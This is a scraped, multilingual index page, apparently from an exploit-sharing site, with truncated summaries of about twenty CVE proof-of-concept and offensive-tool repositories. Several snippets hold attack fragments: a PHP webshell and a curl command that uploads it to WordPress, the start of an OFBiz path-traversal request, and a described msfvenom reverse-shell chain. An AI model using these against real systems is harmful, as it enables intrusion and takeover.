My-Exploits

My-Exploits Vulnerability research I have done on four widely deployed platform services: Keycloak, Apache NiFi, HashiCorp Vault and HashiCorp Nomad. For each finding this repo carries the write-once artifacts I actually use, a Metasploit module where it made sense, a standalone Python proof of...

CVE-2025-7775-PoC

CVE-2025-7775 | NetScaler ADC RCE PoC root@kitploit: ⚠️ 免责声明：本内容仅为教育目的而构建的假设性PoC。请隔离NetScaler网络，CVE-2025-7775并不存在。仅在隔离实验室中使用。 概述 针对Citrix NetScaler ADC/Gateway中假设的未授权RCE的模拟利用。专为内部检测验证和应急响应演练培训设计。 实验室要求 root@kitploit: 隔离网络 已授权的NetScaler VPX实例（实验室用途） Python 3.x 使用方法 root@kitploit: git clone...

CVE-2025-66478-Research-Proof-of-Concept

CVE-2025-66478-Research-Proof-of-Concept 概述 此仓库包含与 CVE-2025-66478 相关的研究和概念验证实现，该漏洞影响某些 Next.js / React 服务器组件配置。 该项目是在受控实验室环境中开发的，用于教育和防御性安全目的。 免责声明 此仓库仅供以下用途提供： 安全研究 防御性测试 教育目的 授权的实验室环境 请勿在未经明确授权的情况下针对系统使用此代码。 作者对滥用行为不承担任何责任。 技术摘要 该漏洞允许攻击者通过不安全地处理 React 服务器组件负载，触发非预期的代码执行。 受影响的应用程序可能暴露能够在特定条件下访问...

CVE-2022-26809

Descripción del CVE CVE-2022-26809 - una debilidad en un componente central de Windows RPC obtuvo una puntuación CVSS de 9.8, no sin razón, ya que el ataque no requiere autenticación y puede ejecutarse de forma remota a través de una red, y puede resultar en ejecución remota de código RCE con los...

CVE-2026-11499

🚨 CVE-2026-11499 Desbordamiento de búfer basado en pila en routers Tenda HG7 / HG9 / HG10 📖 Resumen CVE-2026-11499 es una vulnerabilidad de desbordamiento de búfer basado en pila reportada que afecta a varios modelos de routers Tenda , incluyendo: HG7 HG9 HG10 Una explotación exitosa podría...

macOSTools

macOSTools macOS 攻击性工具 AUnit 音频单元插件的示例 XCode 项目 MigrationToolPayload 迁移工具插件 SpecialDelivery 安装程序插件 authplugin 认证插件 dylibinjection dylib 注入的源代码。基于 Jonathan Levin 的代码 http://newosxbook.com/src.jl?tree=listings&file=inject.c HIDMan IOHIDManager 键盘记录器 脚本运行器 jxarunner 用于内存中 JXA 执行的 Rust 库 先决条件 1. Rust...

CVE-2025-59213

Exploit de inyección SQL no autenticada CVE-2025-59213 en Microsoft Configuration Manager ConfigMgr / SCCM 2503 Este script explota la vulnerabilidad CVE-2025-59213, que permite a un atacante no autenticado con acceso de red a un punto de administración Management Point ejecutar consultas SQL...

CVE-2018-18852

CERIO 路由器认证 RCE（厂商后门凭据）CVE-2018-18852 Python PoC hook-s3c github.com/andripwn，Twitter 上 @andripwn 用于 CVE-2018-18852 的有效 Python PoC，最初发布在； https://github.com/andripwn/CVE-2018-18852 概述 CERIO 路由器的以下型号及变体：DT300N、DT100G、AMR-3204、WMR-200N， 存在一个经认证的基于 Web 的 RCE 漏洞，可以 root 用户身份执行命令。 存在一个未公开的 0day 公告；...

CVE-2017-12149

CVE-2017-12149 非常感谢yunxu1师傅的源码 说明: root@kitploit: 删掉了图形化页面 修复了识别系统错误导致的命令执行失败 修改成了交互式的shell 使用 输入url回车会自动执行两个系统的whoami 看结果判断是什么操作系统 输入系统linux or windows 然后就是输入要执行命令了...

CVE-2023-45878_to_RCE

CVE-2023-45878 到 RCE 此脚本通过利用 CVE-2023-45878，将 Gibbon LMS 上的任意文件写入链接并自动化到远程代码执行。 该脚本执行以下步骤： 1. 生成一个用于 Windows 的 msfvenom 无阶段反向 Shell 2. 上传一个利用 CVE-2023-45878 的 WebShell 3. 在目标上下载反向 Shell 4. 执行反向 Shell...

CVE-2024-20154

CVE-2024-20154: Desbordamiento de pila NB-IoT SIB1-NB en la banda base MediaTek MT6769 Clasificación: CWE-121 — Desbordamiento de búfer basado en pila Gravedad: Crítica boletín de MediaTek · 8.8 Alta, Vector de ataque: Adyacente CISA-ADP Tipo: Ejecución remota de código — sin interacción del...

zoneminder-snapshots-rce-poc

Zoneminder 通过快照的未授权远程代码执行 CVE-2023-26035 POC 这是一个用Python编写的脚本，允许利用Zoneminder 的安全漏洞，该漏洞描述于CVE-2023-26035 。该系统在1.36.33 和1.37.33 之前的版本中易受攻击。 使用方法 克隆仓库到你的机器，并使用pip 安装依赖项（建议使用virtualenv 创建一个环境，将这些安装与全局安装隔离开来） root@kitploit: git clone https://github.com/m3m0o/zoneminder-snapshots-rce-poc cd...

Info-Sys-Security-CVE-2025-55182

CVE-2025-55182 安全实验室（“React2Shell”） 本仓库包含一个用于在受控 React Server Components 环境中分析 CVE-2025-55182 的本地学术实验室。该实验室模拟了该漏洞、其利用方式以及应用补丁后的效果。 📁 仓库结构 核心应用程序 app/vulnerable/ ：存在漏洞的 React 应用程序配置文件。 src/framework/entry.rsc.tsx：包含 不安全的反序列化 点，其中 flightaction 负载通过 execSync 执行。 模拟未打补丁的 [email protected] 的行为。...

CVE-2026-48908

🚨 CVE-2026-48908 — Compromiso total del servidor mediante carga arbitraria de archivos Carga crítica de archivos no autenticada → Ejecución remota de código RCE Una vulnerabilidad crítica en SP Page Builder permite a atacantes no autenticados cargar archivos arbitrarios y lograr Ejecución remota ...

CVE-2019-16172

CVE-2019-16172 CVE-2019-16172 扫描器旨在检查 LimeSurvey 实例是否存在存储型 XSS 漏洞。 CVE 描述 CVE-2019-16172 描述：CVE-2019-16172 是 LimeSurvey 3.17 之前版本中存在的一个存储型 XSS 漏洞。该漏洞是由于在创建调查组时对用户输入的验证不当所致。攻击者可通过提交特制的有效载荷来利用此漏洞，该有效载荷可存储在服务器上，并在其他用户访问调查时在其上下文中执行。 影响：成功利用此漏洞可使攻击者在应用程序上下文中执行任意 JavaScript，从而导致潜在的数据泄露、会话劫持及其他恶意活动。 扫描器...

CVE-2017-0144

🔵 EternalBlue CVE-2017-0144 重大なMicrosoft SMBv1 リモートコード実行脆弱性 📌 概要 EternalBlue は、MicrosoftのServer Message Block version 1 SMBv1プロトコルにおける重大な脆弱性であり、認証不要で脆弱なWindowsシステム上で任意のコードを実行することを可能にします。 このエクスプロイトはNSA によって開発され、その後2017年にハッキンググループShadow Brokers によってリークされました。WannaCry やNotPetya...

CVE-2025-32433

CVE-2025-32433 Erlang/OTP SSH RCE 利用工具 描述 在 Erlang/OTP SSH 服务器中发现了一个严重漏洞，可能允许攻击者执行未经身份验证的远程代码执行（RCE）。通过利用 SSH 协议消息处理中的缺陷，恶意攻击者可以在没有有效凭据的情况下获得对受影响系统的未授权访问并执行任意命令。这可能导致上述主机受损，从而允许第三方未经授权访问和操纵敏感数据，或发起拒绝服务攻击。 受影响版本 root@kitploit: OTP-27.3.2 及更早版本 OTP-26.2.5.10 及更早版本 OTP-25.3.2.19 及更早版本 功能...

CVE-2017-5638-PoC

CVE-2017-5638 Apache Struts 2 远程代码执行概念验证 本仓库包含一个概念验证（PoC）脚本，用于演示 Apache Struts 2 中标识为 CVE-2017-5638 的远程代码执行（RCE）漏洞。 漏洞详情 CVE ID: CVE-2017-5638 受影响软件： Apache Struts 2 版本 2.3.32 之前及 2.5.10.1 之前的版本 漏洞类型： 远程代码执行 攻击向量： 远程，通过精心构造的 Content-Type HTTP 标头 描述 文件上传请求中处理 Content-Type 标头时的错误允许攻击者执行任意 OGNL...

CVE-2024-32113

CVE-2024-32113 Apache OFBIZ 路径遍历导致 RCE 的 EXP。 Apache OFBiz 存在对受限目录的路径名限制不当（'路径遍历'）漏洞。该问题影响 Apache OFBiz：18.12.14不含 之前的版本。建议用户升级到修复了该问题的 18.12.14 版本。 fofa 查询 app="ApacheOFBiz" POC root@kitploit: POST /webtools/control/forgotPassword;/ProgramExport HTTP/1.1 Content-Type:...

CVE-2025-6085

Make Connector shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ Una vez que la shell está...